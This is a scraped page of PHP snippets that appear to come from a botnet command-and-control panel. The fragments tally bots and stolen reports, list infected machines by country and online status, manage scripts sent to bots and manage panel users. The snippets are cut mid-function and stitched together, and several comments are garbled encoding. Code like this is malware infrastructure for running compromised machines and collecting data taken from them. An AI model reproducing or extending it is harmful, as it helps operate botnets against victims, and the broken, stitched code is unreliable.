$reportsCount = 0;
    foreach ($reportsList as $table) {
        if ($mt = @mysql_fetch_row(mysqlQueryEx($table, "SELECT COUNT(*) FROM `{$table}`"))) {
            $reportsCount += $mt[0];
        }
    }
    $output .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_REPORTS), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($reportsCount)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
    $i++;
}
$output .= getBotnetStats('', $i) . THEME_LIST_END . THEME_STRING_NEWLINE;
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
// R'S <RІRѕRґ ReRЅS "RѕSЂRјR ° C † ReRe RѕR ± C RμRєSѓS RμRј ‰ P ± RѕS, RЅRμS, Rμ.
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
$actionList = '';
if (!empty($userData['r_stats_main_reset'])) {
    $actionList = str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET_ACTIONS . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_STATS_RESET_NEWBOTS, ' onclick="if(confirm(\'' . addJsSlashes(LNG_STATS_RESET_NEWBOTS_Q) . '\'))window.location=\'' . QUERY_STRING_HTML . '&amp;reset_newbots&amp;botnet=' . addJsSlashes(urlencode(CURRENT_BOTNET)) . '\';"'), THEME_DIALOG_ITEM_ACTION)), THEME_DIALOG_TITLE);
}
$output .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . $actionList;
//RЎR ± RѕSЂ SЃS, P ° C ReSЃS, ReRєRe RґR "SЏ RєRѕRЅRєSЂRμS, RЅRѕRіRѕ P ± RѕS, RЅRμS, P °.
if (CURRENT_BOTNET != '') {
    $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . getBotnetStats(CURRENT_BOTNET, 0) . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END;
}
//R'S <RІRѕRґ SЃRїReSЃRєR ° SЃS, SЂR ° RЅ.
$commonQuery = CURRENT_BOTNET != '' ? ' AND botnet=\'' . addslashes(CURRENT_BOTNET) . '\'' : '';
$output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_NEWBOTS, '`flag_new`=1' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_ONLINEBOTS, '`rtime_last`>=\'' . (CURRENT_TIME - $config['botnet_timeout']) . '\'' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END;
ThemeBegin(LNG_STATS, 0, 0, 0);
echo $output;
ThemeEnd();
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
// P ¤ † SѓRЅRєS ReRe.
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
Example #2
0
function getBotJsMenu($name)
{
    $output = '';
    $i = 0;
    foreach ($GLOBALS['botMenu'] as &$item) {
        if ($i++ != 0) {
            $output .= ', ';
        }
        if ($item[0] === 0) {
            $output .= '[0]';
        } else {
            $output .= '[\'' . addJsSlashes(htmlEntitiesEx($item[1])) . '\', \'' . addJsSlashes(QUERY_SCRIPT_HTML . '?botsaction=' . htmlEntitiesEx(urlencode($item[0])) . '&amp;bots[]=$0$') . '\']';
        }
    }
    return 'var ' . $name . ' = [' . $output . '];';
}
Example #3
0
$filter['ips'] = isset($_GET['ips']) ? $_GET['ips'] : '';
$filter['countries'] = isset($_GET['countries']) ? $_GET['countries'] : '';
$filter['nat'] = isset($_GET['nat']) ? intval($_GET['nat']) : 1;
$filter['online'] = isset($_GET['online']) ? intval($_GET['online']) : 1;
$filter['new'] = isset($_GET['new']) ? intval($_GET['new']) : 0;
$filter['used'] = isset($_GET['used']) ? intval($_GET['used']) : 0;
$filter['comment'] = isset($_GET['comment']) ? intval($_GET['comment']) : 0;
foreach ($filter as $k => $i) {
    $fullQuery .= '&' . $k . '=' . urlencode($i);
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Определяем данные текущей сортировки.
///////////////////////////////////////////////////////////////////////////////////////////////////
$fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment'));
$jsSort = addJsSlashes($fullQuery);
$jsPage = addJsSlashes($fullQuery);
///////////////////////////////////////////////////////////////////////////////////////////////////
// JavaScript скрипты.
///////////////////////////////////////////////////////////////////////////////////////////////////
$jsScript = jsCheckAll('botslist', 'checkall', 'bots[]') . jsSetSortMode($jsSort) . "function changePage(p){window.location='{$jsPage}&page=' + p; return false;}";
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание запроса.
///////////////////////////////////////////////////////////////////////////////////////////////////
/*
  Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь
  о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить
  такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю
  на 4... Что приведет к противоположному косяку...
*/
$q = array();
if ($filter['nat'] > 0) {
            if ($v >= $filter['date1'] && $v <= $filter['date2']) {
                $datelist .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, htmlEntitiesEx(gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)))), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . '<div id="dt' . htmlentities($v) . '" class="botnet-search-results" data-date="' . $v . '">' . THEME_IMG_WAIT . THEME_STRING_ID_END . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END;
                $js_datelist .= ($js_datelist == '' ? '' : ', ') . "['dt" . addJsSlashes($v) . "', '" . addJsSlashes(urlencode($v)) . "']";
            }
        }
        $f = $filter;
        unset($f['date1']);
        unset($f['date2']);
        unset($f['date']);
        unset($f['plain']);
        $q = addJsSlashes(QUERY_STRING);
        foreach ($f as $k => $v) {
            $q .= '&' . addJsSlashes(urlencode($k)) . '=' . addJsSlashes(urlencode($v));
        }
        $ajax_init = jsXmlHttpRequest('datehttp');
        $ajax_err = addJsSlashes(str_replace('{TEXT}', LNG_REPORTS_DATE_ERROR, THEME_STRING_ERROR));
        $js_script .= <<<JS_SCRIPT

var datelist = [{$js_datelist}];
var datehttp = false;

function stateChange(i){if(datehttp.readyState == 4)
{
  var el = document.getElementById(datelist[i][0]);
  if(datehttp.status == 200 && datehttp.responseText.length > 1){
\tel.innerHTML = datehttp.responseText;
\t/* [Infinite-scroll commented-out]
\t install_infinite_scroller();
\t */
\t}
  else el.innerHTML = '{$ajax_err}';
            }
            $actions .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT);
            $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $actions, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
        }
        //Вывод таблицы.
        $data .= THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('reportslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_REPORTS, numberFormatAsInt($bots_count))), THEME_DIALOG_TITLE) . $page_list . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_REPORTS_RTIME, 0, 1) . writeSortColumn(LNG_BOTNET_REPORTS_TYPE, 1, 0) . writeSortColumn(LNG_BOTNET_REPORTS_BOTID, 2, 0) . writeSortColumn(LNG_BOTNET_REPORTS_VERSION, 3, 1) . writeSortColumn(LNG_BOTNET_REPORTS_REPORT, 4, 0) . THEME_LIST_ROW_END . $blist . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END;
    }
    themeSmall($is_view ? LNG_BOTNET_SCRIPT_EDIT : LNG_BOTNET_SCRIPT_NEW, $data, $js_script, getBotJsMenu('botmenu'), 0);
    die;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// JavaScript скрипты.
///////////////////////////////////////////////////////////////////////////////////////////////////
$js_script = 0;
if ($_allow_edit) {
    $js_script = jsCheckAll('scriptslist', 'checkall', 'scripts[]') . "function ExecuteAction(){return confirm('" . addJsSlashes(LNG_BOTNET_LIST_ACTION_Q) . "');}";
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списка команд.
///////////////////////////////////////////////////////////////////////////////////////////////////
require_once 'system/lib/db.php';
require_once 'system/lib/guiutil.php';
$_GET['page'] = (int) (empty($_GET['page']) ? 1 : $_GET['page']);
$PAGER = new Paginator($_GET['page'], 100, 1);
$list = '';
if (!($r = mysqlQueryEx('botnet_scripts', 'SELECT SQL_CALC_FOUND_ROWS
        id,
        extern_id,
        name,
        flag_enabled,
        send_limit,
Example #6
0
    if (count($errors) > 0) {
        $data .= THEME_STRING_FORM_ERROR_1_BEGIN;
        foreach ($errors as $r) {
            $data .= $r . THEME_STRING_NEWLINE;
        }
        $data .= THEME_STRING_FORM_ERROR_1_END;
    }
    $data .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('edituser', QUERY_STRING_HTML . '&amp;' . ($isEdit ? 'edit=' . htmlEntitiesEx(urlencode($_GET['edit'])) : 'new'), ''), THEME_FORMPOST_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $isEdit ? LNG_SYS_USER_EDIT : LNG_SYS_USER_NEW), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_NAME, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('name', $formName, 20, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_PASSWORD, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('password', $formPassword, 64, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_STATUS, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('status', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_SYS_STATUS_DISABLED), !$formEnabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_SYS_STATUS_ENABLED), $formEnabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_COMMENT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment', $formComment, 250, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . $rightslist . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array($isEdit ? LNG_SYS_USER_ACTION_SAVE : LNG_SYS_USER_ACTION_NEW, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . ($isEdit ? THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_SYS_USER_ACTION_NEWT, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&amp;new=' . htmlEntitiesEx(urlencode($_GET['edit'])) . '\'"'), THEME_DIALOG_ITEM_ACTION) : '') . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMPOST_END;
    themeSmall($isEdit ? LNG_SYS_USER_EDIT : LNG_SYS_USER_NEW, $data, 0, 0, 0);
    die;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// JavaScript скрипты.
///////////////////////////////////////////////////////////////////////////////////////////////////
$jsScript = 0;
$jsQa = addJsSlashes(LNG_SYS_LIST_ACTION_Q);
$jsScript = jsCheckAll('userslist', 'checkall', 'users[]') . "function ExecuteAction(){return confirm('{$jsQa}');}";
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списка.
///////////////////////////////////////////////////////////////////////////////////////////////////
$list = '';
if (!($r = mysqlQueryEx('cp_users', 'SELECT id, name, flag_enabled, comment FROM cp_users ORDER BY name ASC')) || @mysql_affected_rows() === 0) {
    $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_SYS_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        $urlEdit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;edit=' . $mt[0], strlen($mt[1]) > 0 ? htmlEntitiesEx($mt[1]) : '-'), THEME_LIST_ANCHOR);
        $urlStatus = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;status=' . $mt[0] . '&amp;enable=' . ($mt[2] > 0 ? 0 : 1), $mt[2] > 0 ? LNG_SYS_STATUS_ENABLED : LNG_SYS_STATUS_DISABLED), THEME_LIST_ANCHOR);
        $text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('users[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $urlEdit), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', $urlStatus), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', strlen($mt[3]) > 0 ? htmlEntitiesEx($mt[3]) : '-'), $text) . THEME_LIST_ROW_END;
        $i++;